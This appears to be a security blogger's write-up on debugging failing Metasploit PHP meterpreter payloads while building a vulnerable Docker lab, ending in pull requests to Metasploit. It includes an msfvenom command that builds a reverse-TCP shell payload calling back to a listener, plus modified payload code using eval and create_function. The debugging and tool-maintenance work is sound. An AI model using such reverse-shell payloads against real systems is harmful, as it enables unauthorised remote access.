While building Vulnerable Docker VM, I encountered some interesting behaviour from PHP meterpreter shell. This blog post documents what was identified as issues and what were the solutions for the same.
The story begins when as part of the exploitation process I was trying to obtain a reverse shell on a docker instance
wordpress:latest. I was attempting to get a reverse shell via exploit
wp_admin_shell_upload using the payload
php/meterpreter/reverse_tcp. This was suppose to be a straightforward exploit however to our surprise this didn’t worked even after the check confirmed the connection.
I assumed this could be an error in my configuration and / something else. I tried a bunch of other options including changing payloads to
php/meterpreter_reverse_tcp and other variations. I found that meterpreter payloads of all types were failing. I even tried generating standalone payload using msfvenom but all of them also failed with similar error messages.
With fair bit of PHP coding experience under my belt I started on my quest to find the issue.
Lets try to minimize the complexity, so let’s work with stageless payload and try to find the bug. “Stageless has single file with whole payload making it much more easier to find the bug”.
So I used msfvenom to generate payload via following commands
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.2 LPORT=4545 -f raw > rev_full.php
Now these payloads are minified version of the payload and hence everything is combined in one line.
This basically means if there is an error you will get a wonderful error : error in line number 1, Just the help i needed.
The above error message helps in no way at all. Hence the first step is to prettify and align the code so that we can accurately pinpoint the error messages (using http://phpbeautifier.com/beautify.php ). Once its prettified it basically means it’s converted to multi line in a formatted manner. Hence I was hoping the error would be around the actual error line. As expected once I reload the file with proper pretified code we get a proper line number and error message.
While looking at the source code I can now easily spot the line with error.
So the error was on
modifying the code to below code allowed me to get the shell.
This is the point where i opened this bug https://github.com/rapid7/metasploit-framework/issues/8858 informing metasploit what could be wrong, and ended my day. But as suspected people do have a life outside computers and not everyone will be working over weekends (I ought to try it out sometimes. i have heard its good for health too ), after i wokeup 10 hours later there was still no change so i got more curious and hence started digging deeper.
This bought me to https://github.com/rapid7/metasploit-payloads/pull/217/files#diff-42f2ccd36fdf98958c852f757d98d05cR421 pull request which was resulted due to https://github.com/rapid7/metasploit-framework/issues/8630 and https://github.com/rapid7/metasploit-framework/pull/8756
This got me more curious about my supposed fix, was that enough or did I broke something.
So I took the VM that was suggested in the issue details and build that docker VM which has suhosin installed and tried the current metasploit module in it directly. To my surprize i was encountering the same error. Hence back to ground zero. I started reading more about
create_function in php which lead me to the php.net page and gave me details about this being a deprecated function and not available in php 7.2+ however it is a nice alternative for eval.
So I tested some of the basic code and realized the function is indeed working however it has to work in a specific manner. and hence I needed to do a basic change in code and things should just work fine.
Was modified to below:
$random_function_name_not_repeated_anywhere=create_function('', $data_tlv['value']); $random_function_name_not_repeated_anywhere();
Now this was tested and everything seems to be working all fine.
Bonus: Debugging multistage payloads
Now lets try to identify if the same error could be the reason for failure of multistage payload also. However the first stage of the multistage payload doesn’t have this function call. Hence we need to identify what is being send as part of the second stage. To debug and identify the code, I modified the first stage as below:
echo($b); eval($b); die();
This resulted in a nice display of the entire second stage on the webpage itself. And i can see a reference to create_function with similar issues what we saw on non staged payload. This confirmed my suspicion on why it was not working. So then based on my findings a pull request was created and submitted in metasploit-payloads project. https://github.com/rapid7/metasploit-payloads/pull/227
Even after the above fixes the staged payload was still not working as the staged payload has a eval at the first stage to get the payload executed. Hence another pull request was submitted to ensure the staged payload also work properly.
Pull Request: https://github.com/rapid7/metasploit-framework/pull/8952